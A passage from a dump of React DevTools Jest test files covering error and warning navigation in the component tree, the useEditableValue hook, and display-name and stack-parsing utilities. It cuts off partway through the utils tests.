<Child> ✕\n             <Child>\n      `);\n    });\n\n    it('should cycle through the previous errors/warnings and wrap around with multiple roots', () => {\n      withErrorsOrWarningsIgnored(['test-only:'], () => {\n        utils.act(() => {\n          render(\n            <React.Fragment>\n              <Child />\n              <Child logWarning={true} />,\n            </React.Fragment>,\n          );\n\n          createContainer();\n\n          render(\n            <React.Fragment>\n              <Child />\n              <Child logError={true} />\n              <Child />\n            </React.Fragment>,\n          );\n        });\n      });\n\n      utils.act(() => TestRenderer.create(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        ✕ 1, ⚠ 1\n        [root]\n             <Child>\n             <Child> ⚠\n        [root]\n             <Child>\n             <Child> ✕\n             <Child>\n      `);\n\n      selectPreviousErrorOrWarning();\n      expect(state).toMatchInlineSnapshot(`\n        ✕ 1, ⚠ 1\n        [root]\n             <Child>\n             <Child> ⚠\n        [root]\n             <Child>\n        →    <Child> ✕\n             <Child>\n      `);\n\n      selectPreviousErrorOrWarning();\n      expect(state).toMatchInlineSnapshot(`\n        ✕ 1, ⚠ 1\n        [root]\n             <Child>\n        →    <Child> ⚠\n        [root]\n             <Child>\n             <Child> ✕\n             <Child>\n      `);\n\n      selectPreviousErrorOrWarning();\n      expect(state).toMatchInlineSnapshot(`\n        ✕ 1, ⚠ 1\n        [root]\n             <Child>\n             <Child> ⚠\n        [root]\n             <Child>\n        →    <Child> ✕\n             <Child>\n      `);\n    });\n\n    it('should select the next or previous element relative to the current selection', () => {\n      withErrorsOrWarningsIgnored(['test-only:'], () =>\n        utils.act(() =>\n          render(\n            <React.Fragment>\n              <Child />\n              <Child logWarning={true} />\n              <Child />\n              <Child logError={true} />\n              <Child />\n            </React.Fragment>,\n          ),\n        ),\n      );\n\n      utils.act(() => TestRenderer.create(<Contexts />));\n      utils.act(() => dispatch({type: 'SELECT_ELEMENT_AT_INDEX', payload: 2}));\n      expect(state).toMatchInlineSnapshot(`\n        ✕ 1, ⚠ 1\n        [root]\n             <Child>\n             <Child> ⚠\n        →    <Child>\n             <Child> ✕\n             <Child>\n      `);\n\n      selectNextErrorOrWarning();\n      expect(state).toMatchInlineSnapshot(`\n        ✕ 1, ⚠ 1\n        [root]\n             <Child>\n             <Child> ⚠\n             <Child>\n        →    <Child> ✕\n             <Child>\n      `);\n\n      utils.act(() => dispatch({type: 'SELECT_ELEMENT_AT_INDEX', payload: 2}));\n      expect(state).toMatchInlineSnapshot(`\n        ✕ 1, ⚠ 1\n        [root]\n             <Child>\n             <Child> ⚠\n        →    <Child>\n             <Child> ✕\n             <Child>\n      `);\n\n      selectPreviousErrorOrWarning();\n      expect(state).toMatchInlineSnapshot(`\n        ✕ 1, ⚠ 1\n        [root]\n             <Child>\n        →    <Child> ⚠\n             <Child>\n             <Child> ✕\n             <Child>\n      `);\n    });\n\n    it('should update correctly when errors/warnings are cleared for a fiber in the list', () => {\n      withErrorsOrWarningsIgnored(['test-only:'], () =>\n        utils.act(() =>\n          render(\n            <React.Fragment>\n              <Child logWarning={true} />\n              <Child logError={true} />\n              <Child logError={true} />\n              <Child logWarning={true} />\n            </React.Fragment>,\n          ),\n        ),\n      );\n\n      utils.act(() => TestRenderer.create(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        ✕ 2, ⚠ 2\n        [root]\n             <Child> ⚠\n             <Child> ✕\n             <Child> ✕\n             <Child> ⚠\n      `);\n\n      // Select the first item in the list\n      selectNextErrorOrWarning();\n      expect(state).toMatchInlineSnapshot(`\n        ✕ 2, ⚠ 2\n        [root]\n        →    <Child> ⚠\n             <Child> ✕\n             <Child> ✕\n             <Child> ⚠\n      `);\n\n      // Clear warnings (but the next Fiber has only errors)\n      clearWarningsForElement(store.getElementIDAtIndex(1));\n      selectNextErrorOrWarning();\n      expect(state).toMatchInlineSnapshot(`\n        ✕ 2, ⚠ 2\n        [root]\n             <Child> ⚠\n        →    <Child> ✕\n             <Child> ✕\n             <Child> ⚠\n      `);\n\n      clearErrorsForElement(store.getElementIDAtIndex(2));\n\n      // Should step to the (now) next one in the list.\n      selectNextErrorOrWarning();\n      expect(state).toMatchInlineSnapshot(`\n        ✕ 1, ⚠ 2\n        [root]\n             <Child> ⚠\n             <Child> ✕\n             <Child>\n        →    <Child> ⚠\n      `);\n\n      // Should skip over the (now) cleared Fiber\n      selectPreviousErrorOrWarning();\n      expect(state).toMatchInlineSnapshot(`\n        ✕ 1, ⚠ 2\n        [root]\n             <Child> ⚠\n        →    <Child> ✕\n             <Child>\n             <Child> ⚠\n      `);\n    });\n\n    it('should update correctly when errors/warnings are cleared for the currently selected fiber', () => {\n      withErrorsOrWarningsIgnored(['test-only:'], () =>\n        utils.act(() =>\n          render(\n            <React.Fragment>\n              <Child logWarning={true} />\n              <Child logError={true} />\n            </React.Fragment>,\n          ),\n        ),\n      );\n\n      utils.act(() => TestRenderer.create(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        ✕ 1, ⚠ 1\n        [root]\n             <Child> ⚠\n             <Child> ✕\n      `);\n\n      selectNextErrorOrWarning();\n      expect(state).toMatchInlineSnapshot(`\n        ✕ 1, ⚠ 1\n        [root]\n        →    <Child> ⚠\n             <Child> ✕\n      `);\n\n      clearWarningsForElement(store.getElementIDAtIndex(0));\n      selectNextErrorOrWarning();\n      expect(state).toMatchInlineSnapshot(`\n        ✕ 1, ⚠ 0\n        [root]\n             <Child>\n        →    <Child> ✕\n      `);\n    });\n\n    it('should update correctly when new errors/warnings are added', () => {\n      withErrorsOrWarningsIgnored(['test-only:'], () =>\n        utils.act(() =>\n          render(\n            <React.Fragment>\n              <Child logWarning={true} />\n              <Child />\n              <Child />\n              <Child logError={true} />\n            </React.Fragment>,\n          ),\n        ),\n      );\n\n      utils.act(() => TestRenderer.create(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        ✕ 1, ⚠ 1\n        [root]\n             <Child> ⚠\n             <Child>\n             <Child>\n             <Child> ✕\n      `);\n\n      selectNextErrorOrWarning();\n      expect(state).toMatchInlineSnapshot(`\n        ✕ 1, ⚠ 1\n        [root]\n        →    <Child> ⚠\n             <Child>\n             <Child>\n             <Child> ✕\n      `);\n\n      withErrorsOrWarningsIgnored(['test-only:'], () =>\n        utils.act(() =>\n          render(\n            <React.Fragment>\n              <Child />\n              <Child logWarning={true} />\n              <Child />\n              <Child />\n            </React.Fragment>,\n          ),\n        ),\n      );\n\n      selectNextErrorOrWarning();\n      expect(state).toMatchInlineSnapshot(`\n        ✕ 1, ⚠ 2\n        [root]\n             <Child> ⚠\n        →    <Child> ⚠\n             <Child>\n             <Child> ✕\n      `);\n\n      selectNextErrorOrWarning();\n      expect(state).toMatchInlineSnapshot(`\n        ✕ 1, ⚠ 2\n        [root]\n             <Child> ⚠\n             <Child> ⚠\n             <Child>\n        →    <Child> ✕\n      `);\n\n      selectNextErrorOrWarning();\n      expect(state).toMatchInlineSnapshot(`\n        ✕ 1, ⚠ 2\n        [root]\n        →    <Child> ⚠\n             <Child> ⚠\n             <Child>\n             <Child> ✕\n      `);\n    });\n\n    it('should update correctly when all errors/warnings are cleared', () => {\n      withErrorsOrWarningsIgnored(['test-only:'], () =>\n        utils.act(() =>\n          render(\n            <React.Fragment>\n              <Child logWarning={true} />\n              <Child logError={true} />\n            </React.Fragment>,\n          ),\n        ),\n      );\n\n      utils.act(() => TestRenderer.create(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        ✕ 1, ⚠ 1\n        [root]\n             <Child> ⚠\n             <Child> ✕\n      `);\n\n      selectNextErrorOrWarning();\n      expect(state).toMatchInlineSnapshot(`\n        ✕ 1, ⚠ 1\n        [root]\n        →    <Child> ⚠\n             <Child> ✕\n      `);\n\n      clearAllErrors();\n\n      selectNextErrorOrWarning();\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n        →    <Child>\n             <Child>\n      `);\n\n      selectPreviousErrorOrWarning();\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n        →    <Child>\n             <Child>\n      `);\n    });\n\n    it('should update correctly when elements are added/removed', () => {\n      let errored = false;\n      function ErrorOnce() {\n        if (!errored) {\n          errored = true;\n          console.error('test-only:one-time-error');\n        }\n        return null;\n      }\n      withErrorsOrWarningsIgnored(['test-only:'], () =>\n        utils.act(() =>\n          render(\n            <React.Fragment>\n              <ErrorOnce key=\"error\" />\n            </React.Fragment>,\n          ),\n        ),\n      );\n\n      let renderer;\n      utils.act(() => (renderer = TestRenderer.create(<Contexts />)));\n      expect(state).toMatchInlineSnapshot(`\n        ✕ 1, ⚠ 0\n        [root]\n             <ErrorOnce key=\"error\"> ✕\n      `);\n\n      withErrorsOrWarningsIgnored(['test-only:'], () =>\n        utils.act(() =>\n          render(\n            <React.Fragment>\n              <Child />\n              <ErrorOnce key=\"error\" />\n            </React.Fragment>,\n          ),\n        ),\n      );\n\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        ✕ 1, ⚠ 0\n        [root]\n             <Child>\n             <ErrorOnce key=\"error\"> ✕\n      `);\n\n      selectNextErrorOrWarning();\n      expect(state).toMatchInlineSnapshot(`\n        ✕ 1, ⚠ 0\n        [root]\n             <Child>\n        →    <ErrorOnce key=\"error\"> ✕\n      `);\n    });\n\n    it('should update correctly when elements are re-ordered', () => {\n      function ErrorOnce() {\n        const didErrorRef = React.useRef(false);\n        if (!didErrorRef.current) {\n          didErrorRef.current = true;\n          console.error('test-only:one-time-error');\n        }\n        return null;\n      }\n      withErrorsOrWarningsIgnored(['test-only:'], () =>\n        utils.act(() =>\n          render(\n            <React.Fragment>\n              <Child key=\"A\" />\n              <ErrorOnce key=\"B\" />\n              <Child key=\"C\" />\n              <ErrorOnce key=\"D\" />\n            </React.Fragment>,\n          ),\n        ),\n      );\n\n      let renderer;\n      utils.act(() => (renderer = TestRenderer.create(<Contexts />)));\n      expect(state).toMatchInlineSnapshot(`\n        ✕ 2, ⚠ 0\n        [root]\n             <Child key=\"A\">\n             <ErrorOnce key=\"B\"> ✕\n             <Child key=\"C\">\n             <ErrorOnce key=\"D\"> ✕\n      `);\n\n      // Select a child\n      selectNextErrorOrWarning();\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        ✕ 2, ⚠ 0\n        [root]\n             <Child key=\"A\">\n        →    <ErrorOnce key=\"B\"> ✕\n             <Child key=\"C\">\n             <ErrorOnce key=\"D\"> ✕\n      `);\n\n      // Re-order the tree and ensure indices are updated.\n      withErrorsOrWarningsIgnored(['test-only:'], () =>\n        utils.act(() =>\n          render(\n            <React.Fragment>\n              <ErrorOnce key=\"B\" />\n              <Child key=\"A\" />\n              <ErrorOnce key=\"D\" />\n              <Child key=\"C\" />\n            </React.Fragment>,\n          ),\n        ),\n      );\n      expect(state).toMatchInlineSnapshot(`\n        ✕ 2, ⚠ 0\n        [root]\n        →    <ErrorOnce key=\"B\"> ✕\n             <Child key=\"A\">\n             <ErrorOnce key=\"D\"> ✕\n             <Child key=\"C\">\n      `);\n\n      // Select the next child and ensure the index doesn't break.\n      selectNextErrorOrWarning();\n      expect(state).toMatchInlineSnapshot(`\n        ✕ 2, ⚠ 0\n        [root]\n             <ErrorOnce key=\"B\"> ✕\n             <Child key=\"A\">\n        →    <ErrorOnce key=\"D\"> ✕\n             <Child key=\"C\">\n      `);\n\n      // Re-order the tree and ensure indices are updated.\n      withErrorsOrWarningsIgnored(['test-only:'], () =>\n        utils.act(() =>\n          render(\n            <React.Fragment>\n              <ErrorOnce key=\"D\" />\n              <ErrorOnce key=\"B\" />\n              <Child key=\"A\" />\n              <Child key=\"C\" />\n            </React.Fragment>,\n          ),\n        ),\n      );\n      expect(state).toMatchInlineSnapshot(`\n        ✕ 2, ⚠ 0\n        [root]\n        →    <ErrorOnce key=\"D\"> ✕\n             <ErrorOnce key=\"B\"> ✕\n             <Child key=\"A\">\n             <Child key=\"C\">\n      `);\n    });\n\n    it('should update select and auto-expand parts components within hidden parts of the tree', () => {\n      const Wrapper = ({children}) => children;\n\n      store.collapseNodesByDefault = true;\n\n      withErrorsOrWarningsIgnored(['test-only:'], () =>\n        utils.act(() =>\n          render(\n            <React.Fragment>\n              <Wrapper>\n                <Child logWarning={true} />\n              </Wrapper>\n              <Wrapper>\n                <Wrapper>\n                  <Child logWarning={true} />\n                </Wrapper>\n              </Wrapper>\n            </React.Fragment>,\n          ),\n        ),\n      );\n\n      utils.act(() => TestRenderer.create(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        ✕ 0, ⚠ 2\n        [root]\n           ▸ <Wrapper>\n           ▸ <Wrapper>\n      `);\n\n      selectNextErrorOrWarning();\n      expect(state).toMatchInlineSnapshot(`\n        ✕ 0, ⚠ 2\n        [root]\n           ▾ <Wrapper>\n        →      <Child> ⚠\n           ▸ <Wrapper>\n      `);\n\n      selectNextErrorOrWarning();\n      expect(state).toMatchInlineSnapshot(`\n        ✕ 0, ⚠ 2\n        [root]\n           ▾ <Wrapper>\n               <Child> ⚠\n           ▾ <Wrapper>\n             ▾ <Wrapper>\n        →        <Child> ⚠\n      `);\n    });\n\n    it('should preserve errors for fibers even if they are filtered out of the tree initially', () => {\n      const Wrapper = ({children}) => children;\n\n      withErrorsOrWarningsIgnored(['test-only:'], () =>\n        utils.act(() =>\n          render(\n            <React.Fragment>\n              <Wrapper>\n                <Child logWarning={true} />\n              </Wrapper>\n              <Wrapper>\n                <Wrapper>\n                  <Child logWarning={true} />\n                </Wrapper>\n              </Wrapper>\n            </React.Fragment>,\n          ),\n        ),\n      );\n\n      store.componentFilters = [utils.createDisplayNameFilter('Child')];\n\n      utils.act(() => TestRenderer.create(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n             <Wrapper>\n           ▾ <Wrapper>\n               <Wrapper>\n      `);\n\n      utils.act(() => {\n        store.componentFilters = [];\n      });\n      expect(state).toMatchInlineSnapshot(`\n        ✕ 0, ⚠ 2\n        [root]\n           ▾ <Wrapper>\n               <Child> ⚠\n           ▾ <Wrapper>\n             ▾ <Wrapper>\n                 <Child> ⚠\n      `);\n\n      selectNextErrorOrWarning();\n      expect(state).toMatchInlineSnapshot(`\n        ✕ 0, ⚠ 2\n        [root]\n           ▾ <Wrapper>\n        →      <Child> ⚠\n           ▾ <Wrapper>\n             ▾ <Wrapper>\n                 <Child> ⚠\n      `);\n    });\n\n    describe('suspense', () => {\n      // This verifies that we don't flush before the tree has been committed.\n      it('should properly handle errors/warnings from components inside of delayed Suspense', async () => {\n        const NeverResolves = React.lazy(() => new Promise(() => {}));\n\n        withErrorsOrWarningsIgnored(['test-only:'], () =>\n          utils.act(() =>\n            render(\n              <React.Suspense fallback={null}>\n                <Child logWarning={true} />\n                <NeverResolves />\n              </React.Suspense>,\n            ),\n          ),\n        );\n        utils.act(() => TestRenderer.create(<Contexts />));\n\n        jest.runAllTimers();\n\n        expect(state).toMatchInlineSnapshot(`\n          [root]\n               <Suspense>\n          [suspense-root]  rects={null}\n            <Suspense name=\"Unknown\" uniqueSuspenders={true} rects={null}>\n        `);\n\n        selectNextErrorOrWarning();\n\n        expect(state).toMatchInlineSnapshot(`\n          [root]\n               <Suspense>\n          [suspense-root]  rects={null}\n            <Suspense name=\"Unknown\" uniqueSuspenders={true} rects={null}>\n        `);\n      });\n\n      it('should properly handle errors/warnings from components that dont mount because of Suspense', async () => {\n        async function fakeImport(result) {\n          return {default: result};\n        }\n        const LazyComponent = React.lazy(() => fakeImport(Child));\n\n        withErrorsOrWarningsIgnored(['test-only:'], () =>\n          utils.act(() =>\n            render(\n              <React.Suspense fallback={null}>\n                <Child logWarning={true} />\n                <LazyComponent />\n              </React.Suspense>,\n            ),\n          ),\n        );\n        utils.act(() => TestRenderer.create(<Contexts />));\n\n        expect(state).toMatchInlineSnapshot(`\n          [root]\n               <Suspense>\n          [suspense-root]  rects={null}\n            <Suspense name=\"Unknown\" uniqueSuspenders={true} rects={null}>\n        `);\n\n        await Promise.resolve();\n        withErrorsOrWarningsIgnored(['test-only:'], () =>\n          utils.act(() =>\n            render(\n              <React.Suspense fallback={null}>\n                <Child logWarning={true} />\n                <LazyComponent />\n              </React.Suspense>,\n            ),\n          ),\n        );\n\n        expect(state).toMatchInlineSnapshot(`\n          ✕ 0, ⚠ 1\n          [root]\n             ▾ <Suspense>\n                 <Child> ⚠\n                 <Child>\n          [suspense-root]  rects={null}\n            <Suspense name=\"Unknown\" uniqueSuspenders={true} rects={null}>\n        `);\n      });\n\n      it('should properly show errors/warnings from components in the Suspense fallback tree', async () => {\n        async function fakeImport(result) {\n          return {default: result};\n        }\n        const LazyComponent = React.lazy(() => fakeImport(Child));\n\n        const Fallback = () => <Child logError={true} />;\n\n        withErrorsOrWarningsIgnored(['test-only:'], () =>\n          utils.act(() =>\n            render(\n              <React.Suspense fallback={<Fallback />}>\n                <LazyComponent />\n              </React.Suspense>,\n            ),\n          ),\n        );\n        utils.act(() => TestRenderer.create(<Contexts />));\n\n        expect(state).toMatchInlineSnapshot(`\n          ✕ 1, ⚠ 0\n          [root]\n             ▾ <Suspense>\n               ▾ <Fallback>\n                   <Child> ✕\n          [suspense-root]  rects={null}\n            <Suspense name=\"Unknown\" uniqueSuspenders={true} rects={null}>\n        `);\n\n        await Promise.resolve();\n        withErrorsOrWarningsIgnored(['test-only:'], () =>\n          utils.act(() =>\n            render(\n              <React.Suspense fallback={<Fallback />}>\n                <LazyComponent />\n              </React.Suspense>,\n            ),\n          ),\n        );\n\n        expect(state).toMatchInlineSnapshot(`\n          [root]\n             ▾ <Suspense>\n                 <Child>\n          [suspense-root]  rects={null}\n            <Suspense name=\"Unknown\" uniqueSuspenders={true} rects={null}>\n        `);\n      });\n    });\n\n    describe('error boundaries', () => {\n      it('should properly handle errors from components that dont mount because of an error', () => {\n        class ErrorBoundary extends React.Component {\n          state = {error: null};\n          static getDerivedStateFromError(error) {\n            return {error};\n          }\n          render() {\n            if (this.state.error) {\n              return null;\n            }\n            return this.props.children;\n          }\n        }\n\n        class BadRender extends React.Component {\n          render() {\n            console.error('test-only: I am about to throw!');\n            throw new Error('test-only: Oops!');\n          }\n        }\n\n        withErrorsOrWarningsIgnored(\n          ['test-only:', 'React will try to recreate this component tree'],\n          () => {\n            utils.act(() =>\n              render(\n                <ErrorBoundary>\n                  <BadRender />\n                </ErrorBoundary>,\n              ),\n            );\n          },\n        );\n\n        utils.act(() => TestRenderer.create(<Contexts />));\n\n        expect(store).toMatchInlineSnapshot(`\n          [root]\n              <ErrorBoundary>\n        `);\n\n        selectNextErrorOrWarning();\n        expect(state).toMatchInlineSnapshot(`\n          [root]\n               <ErrorBoundary>\n        `);\n\n        utils.act(() => unmount());\n        expect(state).toMatchInlineSnapshot(``);\n\n        // Should be a noop\n        selectNextErrorOrWarning();\n        expect(state).toMatchInlineSnapshot(``);\n      });\n\n      it('should properly handle warnings from components that dont mount because of an error', () => {\n        class ErrorBoundary extends React.Component {\n          state = {error: null};\n          static getDerivedStateFromError(error) {\n            return {error};\n          }\n          render() {\n            if (this.state.error) {\n              return null;\n            }\n            return this.props.children;\n          }\n        }\n\n        class LogsWarning extends React.Component {\n          render() {\n            console.warn('test-only: I am about to throw!');\n            return <ThrowsError />;\n          }\n        }\n        class ThrowsError extends React.Component {\n          render() {\n            throw new Error('test-only: Oops!');\n          }\n        }\n\n        withErrorsOrWarningsIgnored(\n          ['test-only:', 'React will try to recreate this component tree'],\n          () => {\n            utils.act(() =>\n              render(\n                <ErrorBoundary>\n                  <LogsWarning />\n                </ErrorBoundary>,\n              ),\n            );\n          },\n        );\n\n        utils.act(() => TestRenderer.create(<Contexts />));\n\n        expect(store).toMatchInlineSnapshot(`\n          [root]\n              <ErrorBoundary>\n        `);\n\n        selectNextErrorOrWarning();\n        expect(state).toMatchInlineSnapshot(`\n          [root]\n               <ErrorBoundary>\n        `);\n\n        utils.act(() => unmount());\n        expect(state).toMatchInlineSnapshot(``);\n\n        // Should be a noop\n        selectNextErrorOrWarning();\n        expect(state).toMatchInlineSnapshot(``);\n      });\n\n      it('should properly handle errors/warnings from inside of an error boundary', () => {\n        class ErrorBoundary extends React.Component {\n          state = {error: null};\n          static getDerivedStateFromError(error) {\n            return {error};\n          }\n          render() {\n            if (this.state.error) {\n              return <Child logError={true} />;\n            }\n            return this.props.children;\n          }\n        }\n\n        class BadRender extends React.Component {\n          render() {\n            console.error('test-only: I am about to throw!');\n            throw new Error('test-only: Oops!');\n          }\n        }\n\n        withErrorsOrWarningsIgnored(\n          ['test-only:', 'React will try to recreate this component tree'],\n          () => {\n            utils.act(() =>\n              render(\n                <ErrorBoundary>\n                  <BadRender />\n                </ErrorBoundary>,\n              ),\n            );\n          },\n        );\n\n        utils.act(() => TestRenderer.create(<Contexts />));\n\n        expect(store).toMatchInlineSnapshot(`\n          ✕ 1, ⚠ 0\n          [root]\n            ▾ <ErrorBoundary>\n                <Child> ✕\n        `);\n\n        selectNextErrorOrWarning();\n        expect(state).toMatchInlineSnapshot(`\n          ✕ 1, ⚠ 0\n          [root]\n             ▾ <ErrorBoundary>\n          →      <Child> ✕\n        `);\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-devtools-shared/src/__tests__/useEditableValue-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {getVersionedRenderImplementation} from './utils';\n\ndescribe('useEditableValue', () => {\n  let act;\n  let React;\n  let useEditableValue;\n\n  beforeEach(() => {\n    const utils = require('./utils');\n    act = utils.act;\n\n    React = require('react');\n\n    useEditableValue = require('../devtools/views/hooks').useEditableValue;\n  });\n\n  const {render} = getVersionedRenderImplementation();\n\n  it('should not cause a loop with values like NaN', () => {\n    let state;\n\n    function Example({value = NaN}) {\n      const tuple = useEditableValue(value);\n      state = tuple[0];\n      return null;\n    }\n\n    act(() => render(<Example />));\n\n    expect(state.editableValue).toEqual('NaN');\n    expect(state.externalValue).toEqual(NaN);\n    expect(state.parsedValue).toEqual(NaN);\n    expect(state.hasPendingChanges).toBe(false);\n    expect(state.isValid).toBe(true);\n  });\n\n  it('should override editable state when external props are updated', () => {\n    let state;\n\n    function Example({value}) {\n      const tuple = useEditableValue(value);\n      state = tuple[0];\n      return null;\n    }\n\n    act(() => render(<Example value={1} />));\n\n    expect(state.editableValue).toEqual('1');\n    expect(state.externalValue).toEqual(1);\n    expect(state.parsedValue).toEqual(1);\n    expect(state.hasPendingChanges).toBe(false);\n    expect(state.isValid).toBe(true);\n\n    // If there are NO pending changes,\n    // an update to the external prop value should override the local/pending value.\n    act(() => render(<Example value={2} />));\n\n    expect(state.editableValue).toEqual('2');\n    expect(state.externalValue).toEqual(2);\n    expect(state.parsedValue).toEqual(2);\n    expect(state.hasPendingChanges).toBe(false);\n    expect(state.isValid).toBe(true);\n  });\n\n  it('should not override editable state when external props are updated if there are pending changes', () => {\n    let dispatch, state;\n\n    function Example({value}) {\n      const tuple = useEditableValue(value);\n      state = tuple[0];\n      dispatch = tuple[1];\n      return null;\n    }\n\n    act(() => render(<Example value={1} />));\n\n    expect(state.editableValue).toEqual('1');\n    expect(state.externalValue).toEqual(1);\n    expect(state.parsedValue).toEqual(1);\n    expect(state.hasPendingChanges).toBe(false);\n    expect(state.isValid).toBe(true);\n\n    // Update (local) editable state.\n    act(() =>\n      dispatch({\n        type: 'UPDATE',\n        editableValue: '2',\n        externalValue: 1,\n      }),\n    );\n    expect(state.editableValue).toEqual('2');\n    expect(state.externalValue).toEqual(1);\n    expect(state.parsedValue).toEqual(2);\n    expect(state.hasPendingChanges).toBe(true);\n    expect(state.isValid).toBe(true);\n\n    // If there ARE pending changes,\n    // an update to the external prop value should NOT override the local/pending value.\n    act(() => render(<Example value={3} />));\n\n    expect(state.editableValue).toEqual('2');\n    expect(state.externalValue).toEqual(3);\n    expect(state.parsedValue).toEqual(2);\n    expect(state.hasPendingChanges).toBe(true);\n    expect(state.isValid).toBe(true);\n  });\n\n  it('should parse edits to ensure valid JSON', () => {\n    let dispatch, state;\n\n    function Example({value}) {\n      const tuple = useEditableValue(value);\n      state = tuple[0];\n      dispatch = tuple[1];\n      return null;\n    }\n\n    act(() => render(<Example value={1} />));\n\n    expect(state.editableValue).toEqual('1');\n    expect(state.externalValue).toEqual(1);\n    expect(state.parsedValue).toEqual(1);\n    expect(state.hasPendingChanges).toBe(false);\n    expect(state.isValid).toBe(true);\n\n    // Update (local) editable state.\n    act(() =>\n      dispatch({\n        type: 'UPDATE',\n        editableValue: '\"a',\n        externalValue: 1,\n      }),\n    );\n    expect(state.editableValue).toEqual('\"a');\n    expect(state.externalValue).toEqual(1);\n    expect(state.parsedValue).toEqual(1);\n    expect(state.hasPendingChanges).toBe(true);\n    expect(state.isValid).toBe(false);\n  });\n\n  it('should reset to external value upon request', () => {\n    let dispatch, state;\n\n    function Example({value}) {\n      const tuple = useEditableValue(value);\n      state = tuple[0];\n      dispatch = tuple[1];\n      return null;\n    }\n\n    act(() => render(<Example value={1} />));\n\n    expect(state.editableValue).toEqual('1');\n    expect(state.externalValue).toEqual(1);\n    expect(state.parsedValue).toEqual(1);\n    expect(state.hasPendingChanges).toBe(false);\n    expect(state.isValid).toBe(true);\n\n    // Update (local) editable state.\n    act(() =>\n      dispatch({\n        type: 'UPDATE',\n        editableValue: '2',\n        externalValue: 1,\n      }),\n    );\n    expect(state.editableValue).toEqual('2');\n    expect(state.externalValue).toEqual(1);\n    expect(state.parsedValue).toEqual(2);\n    expect(state.hasPendingChanges).toBe(true);\n    expect(state.isValid).toBe(true);\n\n    // Reset editable state\n    act(() =>\n      dispatch({\n        type: 'RESET',\n        externalValue: 1,\n      }),\n    );\n    expect(state.editableValue).toEqual('1');\n    expect(state.externalValue).toEqual(1);\n    expect(state.parsedValue).toEqual(1);\n    expect(state.hasPendingChanges).toBe(false);\n    expect(state.isValid).toBe(true);\n  });\n});\n"
  },
  {
    "path": "packages/react-devtools-shared/src/__tests__/utils-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {\n  getDisplayName,\n  getDisplayNameForReactElement,\n  isPlainObject,\n} from 'react-devtools-shared/src/utils';\nimport {stackToComponentLocations} from 'react-devtools-shared/src/devtools/utils';\nimport {\n  formatConsoleArguments,\n  formatConsoleArgumentsToSingleString,\n  formatWithStyles,\n  gt,\n  gte,\n} from 'react-devtools-shared/src/backend/utils';\nimport {extractLocationFromComponentStack} from 'react-devtools-shared/src/backend/utils/parseStackTrace';\nimport {\n  REACT_SUSPENSE_LIST_TYPE as SuspenseList,\n  REACT_STRICT_MODE_TYPE as StrictMode,\n} from 'shared/ReactSymbols';\nimport {createElement} from 'react';\nimport {symbolicateSource} from '../symbolicateSource';\n\ndescribe('utils', () => {\n  describe('getDisplayName', () => {\n    // @reactVersion >= 16.0\n    it('should return a function name', () => {\n      function FauxComponent() {}\n      expect(getDisplayName(FauxComponent)).toEqual('FauxComponent');\n    });\n\n    // @reactVersion >= 16.0\n    it('should return a displayName name if specified', () => {\n      function FauxComponent() {}\n      FauxComponent.displayName = 'OverrideDisplayName';\n      expect(getDisplayName(FauxComponent)).toEqual('OverrideDisplayName');\n    });\n\n    // @reactVersion >= 16.0\n    it('should return the fallback for anonymous functions', () => {\n      expect(getDisplayName(() => {}, 'Fallback')).toEqual('Fallback');\n    });\n\n    // @reactVersion >= 16.0\n    it('should return Anonymous for anonymous functions without a fallback', () => {\n      expect(getDisplayName(() => {})).toEqual('Anonymous');\n    });\n\n    // Simulate a reported bug:\n    // https://github.com/facebook/react/issues/16685\n    // @reactVersion >= 16.0\n    it('should return a fallback when the name prop is not a string', () => {\n      const FauxComponent = {name: {}};\n      expect(getDisplayName(FauxComponent, 'Fallback')).toEqual('Fallback');\n    });\n\n    it('should parse a component stack trace', () => {\n      expect(\n        stackToComponentLocations(`\n    at Foobar (http://localhost:3000/static/js/bundle.js:103:74)\n    at a\n    at header\n    at div\n    at App`),\n      ).toEqual([\n        [\n          'Foobar',\n          ['Foobar', 'http://localhost:3000/static/js/bundle.js', 103, 74],\n        ],\n        ['a', null],\n        ['header', null],\n        ['div', null],\n        ['App', null],\n      ]);\n    });\n  });\n\n  describe('getDisplayNameForReactElement', () => {\n    // @reactVersion >= 16.0\n    it('should return correct display name for an element with function type', () => {\n      function FauxComponent() {}\n      FauxComponent.displayName = 'OverrideDisplayName';\n      const element = createElement(FauxComponent);\n      expect(getDisplayNameForReactElement(element)).toEqual(\n        'OverrideDisplayName',\n      );\n    });\n\n    // @reactVersion >= 16.0\n    it('should return correct display name for an element with a type of StrictMode', () => {\n      const element = createElement(StrictMode);\n      expect(getDisplayNameForReactElement(element)).toEqual('StrictMode');\n    });\n\n    // @reactVersion >= 16.0\n    it('should return correct display name for an element with a type of SuspenseList', () => {\n      const element = createElement(SuspenseList);\n      expect(getDisplayNameForReactElement(element)).toEqual('SuspenseList');\n    });\n\n    // @reactVersion >= 16.0\n    it('should return NotImplementedInDevtools for an element with invalid symbol type', () => {\n      const element = createElement(Symbol('foo'));\n      expect(getDisplayNameForReactElement(element)).toEqual(\n        'NotImplementedInDevtools',\n      );\n    });\n\n    // @reactVersion >= 16.0\n    it('should return NotImplementedInDevtools for an element with invalid type', () => {\n      const element = createElement(true);\n      expect(getDisplayNameForReactElement(element)).toEqual(\n        'NotImplementedInDevtools',\n      );\n    });\n\n    // @reactVersion >= 16.0\n    it('should return Element for null type', () => {\n      const element = createElement();\n      expect(getDisplayNameForReactElement(element)).toEqual('Element');\n    });\n  });\n\n  